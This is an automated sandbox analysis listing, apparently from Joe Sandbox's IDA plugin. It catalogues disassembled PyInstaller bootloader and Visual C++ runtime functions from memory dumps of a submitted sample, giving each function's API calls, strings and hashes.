Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: 2338e62373cab731f4bafcc08fc800363c258485d9f93c51be2473388b693a90
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 2921A37261978242E7A0ABA1F8817E6B394FB883C0F800135FE9D6B699DF3CD1458790

Function 00007FF7F3DD8570 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7F3DD8590
OpenProcessToken.ADVAPI32 ref: 00007FF7F3DD85A3
GetTokenInformation.ADVAPI32 ref: 00007FF7F3DD85C8
GetLastError.KERNEL32 ref: 00007FF7F3DD85D2
GetTokenInformation.ADVAPI32 ref: 00007FF7F3DD8612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7F3DD862E
CloseHandle.KERNEL32 ref: 00007FF7F3DD8646

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction ID: 39c2c2dd1efad5beee1ad3935f86356d63acf98b9d2b951d9ca8f070a925fc3f
Opcode Fuzzy Hash: fa90e23b90d603ff8a1fc3170628a297920662056bab6e12f28c88f429b12389
Instruction Fuzzy Hash: E4217531A0C64642EB90ABA5B48023AF3A0EF85BF0F940235EA7D5B7E8DE7CD4458750

Function 00007FF7F3DEB150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7F3DEB15F
FlsGetValue.KERNEL32 ref: 00007FF7F3DEB174
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB195
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB1C2
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB1D3
FlsSetValue.KERNEL32 ref: 00007FF7F3DEB1E4
SetLastError.KERNEL32 ref: 00007FF7F3DEB1FF

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: bd40692f84e3da01acd5c9e715af8932c2ff4b5b564443a413d720313231dc09
Instruction ID: 6397378a33eb6dfd7396cd54dd04011d575d1aab3762eaaa148440c2ef8a86e4
Opcode Fuzzy Hash: bd40692f84e3da01acd5c9e715af8932c2ff4b5b564443a413d720313231dc09
Instruction Fuzzy Hash: E3216D24A0E64341F7DC73A19A52239DA525F447B0FC14734DC7E6EBC6DD2CB48043A2

Function 00007FF7F3DF7D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7F3DF7D9D
GetLastError.KERNEL32 ref: 00007FF7F3DF7DA9
CloseHandle.KERNEL32 ref: 00007FF7F3DF7DC1
CreateFileW.KERNEL32 ref: 00007FF7F3DF7DEC
WriteConsoleW.KERNEL32 ref: 00007FF7F3DF7E0B

Strings

CONOUT$, xrefs: 00007FF7F3DF7DCD

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: 9b6a9472490d9b769d5be196821b737aa5cb5c82b1e9c9949af106ac281c8a4d
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 53119A21718A4186E790AB52E894329A2A0FF88BE4F800234DD7E9F7D4DF7CD5148790

Function 00007FFE126CADEC Relevance: 9.2, APIs: 6, Instructions: 161COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFE126CAE9E
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CAEAE
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CAECB
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CAF3E
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CAF67

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 80a690cc5bf4571957900b2ba371d1f0df44bd22a0b18b914ff66e25afa9163e
Instruction ID: 5342506f55481fb985c21790e7473cd4cece63ce58edb80d2a4b1458a4f9a484
Opcode Fuzzy Hash: 80a690cc5bf4571957900b2ba371d1f0df44bd22a0b18b914ff66e25afa9163e
Instruction Fuzzy Hash: 73718C72E08E8A8AE711DF92EC442BC37A1BB54764F908075DA5D176E5DFBCE862C340

Function 00007FF7F3DD8ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF7F3DD3FA9), ref: 00007FF7F3DD8EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF7F3DD3FA9), ref: 00007FF7F3DD8F5A

Part of subcall function 00007FF7F3DD9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7F3DD45F4,00000000,00007FF7F3DD1985), ref: 00007FF7F3DD93C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF7F3DD3FA9), ref: 00007FF7F3DD8FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF7F3DD3FA9), ref: 00007FF7F3DD9044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF7F3DD3FA9), ref: 00007FF7F3DD9055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF7F3DD3FA9), ref: 00007FF7F3DD906A

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction ID: 40145a9dcc7ae26b6c931567a13f5dbdef37355701136006c814a1a5faf4dccd
Opcode Fuzzy Hash: 51e73ccb600dcf9d750c353d1e93921ada3daf916e275faff0d4d54491eeaa6f
Instruction Fuzzy Hash: 3441D961A1968281EBB0BB61B4402BAB394FF84BC4F844135DF6DAB7C9DE3DE511C790

Function 00007FFE126C69F0 Relevance: 9.1, APIs: 6, Instructions: 83stringCOMMON

Download Yara Rule

APIs

__unDName.LIBVCRUNTIME ref: 00007FFE126C6A43
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE126C6A86
strcpy_s.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFE126C6AB0
InterlockedPushEntrySList.KERNEL32 ref: 00007FFE126C6ACD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE126C6AD9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFE126C6AE2

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: free$EntryInterlockedListNamePush__unmallocstrcpy_s
String ID:
API String ID: 3741236498-0
Opcode ID: 0fa2fcead297943da074142d2fbec92c84cd60449e30d9ad217028345c3eb4d3
Instruction ID: 2308f2806ea307b3a894a679e0b416b978f09733185a98d81df21b488386760e
Opcode Fuzzy Hash: 0fa2fcead297943da074142d2fbec92c84cd60449e30d9ad217028345c3eb4d3
Instruction Fuzzy Hash: 4331A422B19F9695EA15EB579C0456933A0FF48BF0B998571DD2D033E0EE7DE8A2C304

Function 00007FF7F3DD90E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F3DD8570: GetCurrentProcess.KERNEL32 ref: 00007FF7F3DD8590
Part of subcall function 00007FF7F3DD8570: OpenProcessToken.ADVAPI32 ref: 00007FF7F3DD85A3
Part of subcall function 00007FF7F3DD8570: GetTokenInformation.ADVAPI32 ref: 00007FF7F3DD85C8
Part of subcall function 00007FF7F3DD8570: GetLastError.KERNEL32 ref: 00007FF7F3DD85D2
Part of subcall function 00007FF7F3DD8570: GetTokenInformation.ADVAPI32 ref: 00007FF7F3DD8612
Part of subcall function 00007FF7F3DD8570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7F3DD862E
Part of subcall function 00007FF7F3DD8570: CloseHandle.KERNEL32 ref: 00007FF7F3DD8646

LocalFree.KERNEL32(?,00007FF7F3DD3C55), ref: 00007FF7F3DD916C
LocalFree.KERNEL32(?,00007FF7F3DD3C55), ref: 00007FF7F3DD9175

Strings

Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF7F3DD9183
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF7F3DD9142
S-1-3-4, xrefs: 00007FF7F3DD9121
D:(A;;FA;;;%s), xrefs: 00007FF7F3DD9157

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction ID: 5c559135aa7fa92dd1b9bc85adf760504fe181482b3f7e05a792f7f0c7c96ced
Opcode Fuzzy Hash: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction Fuzzy Hash: A6215321A0874281F790BBA0E8552EAB361FF84780FC44135EA6D6B7D9DF3CE84587E0

Function 00007FF7F3DEB2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7F3DE4F11,?,?,?,?,00007FF7F3DEA48A,?,?,?,?,00007FF7F3DE718F), ref: 00007FF7F3DEB2D7
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DE4F11,?,?,?,?,00007FF7F3DEA48A,?,?,?,?,00007FF7F3DE718F), ref: 00007FF7F3DEB30D
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DE4F11,?,?,?,?,00007FF7F3DEA48A,?,?,?,?,00007FF7F3DE718F), ref: 00007FF7F3DEB33A
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DE4F11,?,?,?,?,00007FF7F3DEA48A,?,?,?,?,00007FF7F3DE718F), ref: 00007FF7F3DEB34B
FlsSetValue.KERNEL32(?,?,?,00007FF7F3DE4F11,?,?,?,?,00007FF7F3DEA48A,?,?,?,?,00007FF7F3DE718F), ref: 00007FF7F3DEB35C
SetLastError.KERNEL32(?,?,?,00007FF7F3DE4F11,?,?,?,?,00007FF7F3DEA48A,?,?,?,?,00007FF7F3DE718F), ref: 00007FF7F3DEB377

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 511c86220214880ca4b01c77dd55d0a7de68e458561f726588d357ec3f22002e
Instruction ID: c5d781daee3a063b7547994cd98520d5f517218cb54cb10e4bd36e75af17cfe5
Opcode Fuzzy Hash: 511c86220214880ca4b01c77dd55d0a7de68e458561f726588d357ec3f22002e
Instruction Fuzzy Hash: D8113A20E0D64282F7DC73A19642139D9469F447A0FD54734DC7E6EAD6DE6CB48143A2

Function 00007FFE126C3F60 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 193COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE126C6E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE126C29EE), ref: 00007FFE126C6E56

EncodePointer.KERNEL32 ref: 00007FFE126C3FD0
_CallSETranslator.LIBVCRUNTIME ref: 00007FFE126C401B
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C424E

Strings

RCC, xrefs: 00007FFE126C3FEC
MOC, xrefs: 00007FFE126C3FE4

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 93ffbb8a8c38b724cb13d32310db34e78531563cac4ba1370c621256939a6833
Instruction ID: 8c475816d367277fb2ad50eb1efd160659205b7322cd7be5c6cdc624166a1136
Opcode Fuzzy Hash: 93ffbb8a8c38b724cb13d32310db34e78531563cac4ba1370c621256939a6833
Instruction Fuzzy Hash: 8991D473A08B858AE710DF66E8402AD77B0F7447A8F50413AEE8D57BA9DF78D165C700

Function 00007FFE126CC540 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE126CC7E0

Strings

volatile , xrefs: 00007FFE126CC5A7, 00007FFE126CC6D8
std::nullptr_t, xrefs: 00007FFE126CC799
volatile, xrefs: 00007FFE126CC5B6, 00007FFE126CC6E7
std::nullptr_t , xrefs: 00007FFE126CC770

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+
String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2943138195-757766384
Opcode ID: 01adbf8b940f63687fb8b05ad2c3f4aee868cfabe9c87335b9cb2bee01f92b8d
Instruction ID: a951e2f688b5e4b76bf79997fbe95f3c491ae3432392ed6c205f58d3f48253c9
Opcode Fuzzy Hash: 01adbf8b940f63687fb8b05ad2c3f4aee868cfabe9c87335b9cb2bee01f92b8d
Instruction Fuzzy Hash: FA716B72A08E4A89EB14AF66DD541B827A4FB057A0FD445B5CA8D43AF8DFBCE170C340

Function 00007FFE126C3CF0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE126C6E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE126C29EE), ref: 00007FFE126C6E56

EncodePointer.KERNEL32 ref: 00007FFE126C3D4F
_CallSETranslator.LIBVCRUNTIME ref: 00007FFE126C3D9B
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C3F57

Strings

RCC, xrefs: 00007FFE126C3D6B
MOC, xrefs: 00007FFE126C3D63

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 8e034f92e989b9960bc08160daca0ef1833c14a7b13808a87468da7d70181806
Instruction ID: be64d6add51ff24b885dfbf26abdae6646a8227db3f0a5eb9915263d591f1929
Opcode Fuzzy Hash: 8e034f92e989b9960bc08160daca0ef1833c14a7b13808a87468da7d70181806
Instruction Fuzzy Hash: 8261C872908FC586D7609F16E8403A9B7A0FB847A4F444235EB9C07BA5CF7CD1A4CB00

Function 00007FFE126C5C50 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 135COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FFE126C5D22

Strings

csm, xrefs: 00007FFE126C5CB2
RCC, xrefs: 00007FFE126C5C9C
MOC, xrefs: 00007FFE126C5C90
csm, xrefs: 00007FFE126C5DDF

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: FileHeader
String ID: MOC$RCC$csm$csm
API String ID: 104395404-1441736206
Opcode ID: 5815091cf7d4bf77be2b6452b49c3696097c0f3c73df3e225fc204c9d15c1510
Instruction ID: 6413bf30bde2799fdabe9a3ab0f1c836723572d8e48b9755fe406d8e33e2a9bc
Opcode Fuzzy Hash: 5815091cf7d4bf77be2b6452b49c3696097c0f3c73df3e225fc204c9d15c1510
Instruction Fuzzy Hash: 5951B172A09F4687EA60AB26AC4013D26A0FF487A4F840171DE4D677E1DFBCF8718645

Function 00007FF7F3DD2910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7F3DD1B6A), ref: 00007FF7F3DD295E

Strings

[PYI-%d:ERROR] , xrefs: 00007FF7F3DD2966
Error, xrefs: 00007FF7F3DD2A0E
Error [ANSI Fallback], xrefs: 00007FF7F3DD29FF
%s: %s, xrefs: 00007FF7F3DD29E8

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: d67a4eee5423aefc265e6fa62ea03babe85d61feead22d1ec5c153e67b4c86d0
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: CC312862B1968142E790B7A5B8406E7B295BF887D4F800131FEADAB789DF3CD1468390

Function 00007FF7F3DD2B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF7F3DD918F,?,00007FF7F3DD3C55), ref: 00007FF7F3DD2BA0
MessageBoxW.USER32 ref: 00007FF7F3DD2C2A

Strings

Warning, xrefs: 00007FF7F3DD2C1D
[PYI-%d:%ls] , xrefs: 00007FF7F3DD2BA8
WARNING, xrefs: 00007FF7F3DD2BAF

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: 3055df954e2b3d5bd7d7a290782d4073e45d36552c9a0a8594bc5bb4e2f4d773
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: 7421E562709B4182E751ABA4F8807EAB364FB887C0F800135EE9D6B799DF3CD245C790

Function 00007FF7F3DD2710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF7F3DD1B99), ref: 00007FF7F3DD2760

Strings

ERROR, xrefs: 00007FF7F3DD276F
Error, xrefs: 00007FF7F3DD27DE
Error [ANSI Fallback], xrefs: 00007FF7F3DD27CF
